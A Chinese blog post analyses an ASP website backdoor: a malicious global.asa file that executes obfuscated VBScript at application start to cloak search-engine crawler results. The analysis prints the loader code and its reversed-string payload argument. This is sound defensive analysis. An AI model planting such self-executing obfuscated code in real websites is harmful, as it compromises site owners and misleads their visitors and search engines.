| 关键词: 函数 文件 字符串 代码 字符 后门 就是 参数 JMONE 变量 |
前言 周末的时候,阿里云发来了一条短信,说网站上发现了后门文件,于是赶紧登录阿里云网站,查看该安全事件的相关信息。 前言周末的时候,阿里云发来了一条短信,说网站上发现了后门文件,于是赶紧登录阿里云网站,查看该安全事件的相关信息。 后门文件对比出现后门文件的网站,在几个目录下均存在恶意的global.asa文件,用Beyond Compare对这几个文件进行比较后发现内容相同,那只需要分析其中一个文件即可。 后门文件功能先上网查查global.asa文件是干什么用的,在ASP Global.asa 文件这个网页中有介绍,简单来说,就是可以在用户打开网页前,执行其中的代码。 后门文件格式化然后用文本编辑器打开global.asa这个文件,精简后的内容如下: <script language="vbscript" runat="server">sub Application_OnStart:end sub:sub Application_OnEnd:end Sub:Execute(JiaMi("79.110.32.69.")):function JiaMi(asp):ExeCuTe(JMONE("edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim")):end Function:Function JMONE(objstr):objstr = Replace(objstr, "`", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr:Else:NewStr = vbCrLf & NewStr:End If:Next:JMONE = NewStr:End Function</script>开头的内容为 <script language="vbscript" runat="server">,说明其中的代码是用VB这门语言写的,运行在服务器端。 代码中有许多冒号,上网查了一下,在VB中,冒号可以起到和换行符相同的作用。那么把所有的冒号都替换为换行符,并添加必要的缩进,格式化后的代码如下: ![]() 后门文件分析通过阅读上面格式化之后的代码可以知道,函数Execute调用了函数JiaMi,而函数JiaMi又调用了函数JMONE,这说明关键的部分就是函数JMONE。 分析函数JMONE,可知其用于实现如下功能:
函数JMONE分析完了,接下来就分析分析调用这个函数的JiaMi。这个函数一看就是国人写的,JiaMi就是“加密”嘛,嗯,简单易懂,不错不错。 查看JiaMi这个函数的代码,可以知道它只做了一件事,就是向JMONE这个函数传入参数,并执行JMONE这个函数。给JMONE传入的参数是下面这一长串乱七八糟的字符串,但结合前面对JMONE的分析就可以知道,这只不过是倒序排列+制表符分隔的代码而已。下面这一串字符是传入JMONE的参数: "edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim" 按函数JMONE的逻辑进行还原上面的字符串,添加必要的换行和缩进,就能得到下面的代码: ![]() 分析上面的代码,可知其功能如下:
在前文中,为了方便阅读,将JiaMi这个函数中的字符串进行了精简。实际执行该函数后,得到的结果又是一大堆字符串,仔细一看,还是VB代码,还是用冒号作为换行符。于是将其进行换行处理,并添加必要的缩进,最终关键部分的代码如下: ![]() 上面的代码中定义了函数DeAsc和Htmll,并在后面的语句中调用了这两个函数。下面就来具体分析这些代码做了哪些事:
总结将整个过程梳理下来之后,最终可以知道,这个网站后门是用来篡改搜索引擎爬虫结果的。总结这个后门文件代码的特点如下:
虽然上面的代码尝试了各种方式将关键信息进行混淆,但最关键的一点是它无法改变的,就是它必须调用VB的Execute函数来执行代码。个人猜测该网站后门之所以会被阿里云检测出来,Execute函数是主要的原因。这时想到之前看过的JavaScript代码规范中,有一条就是禁止使用eval函数,应当也是出于同样的考虑吧。 后记虽然这个后门文件的作用分析清楚了,也把它从服务器上删除掉了,但这个后门文件究竟是如何出现在服务器上的,这一点很关键,遗憾的是,并没有找到网站漏洞的位置,也就是说没有搞清楚这个后门文件是从哪里来的。不过这一套ASP写的网站现在已经没什么访问量了,刚好借此机会把它下线,这样也就不给入侵者机会了,权当是没有办法的办法吧。 话说回来,网络安全真的是越来越重要了,也越来越专业了。尤其是对于防守方而言,即使有百密,但只要有一疏,那就意味着失败。作为一名开发者,同时又需要负责服务器及网站的安全,肩上的负担自然更重一些,但是如此一来,也能够让自己以不同的角度去看待及分析问题,视野也更加开阔了。对于同样的一件事情,是成为你的负累,还是会督促你成长,全看你用什么样的心态去看待它,你的世界,就是你所塑造的世界。 全文完。 作者:samsara9527 |
| 本文出处: https://www.toutiao.com/a6748225128707916296/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|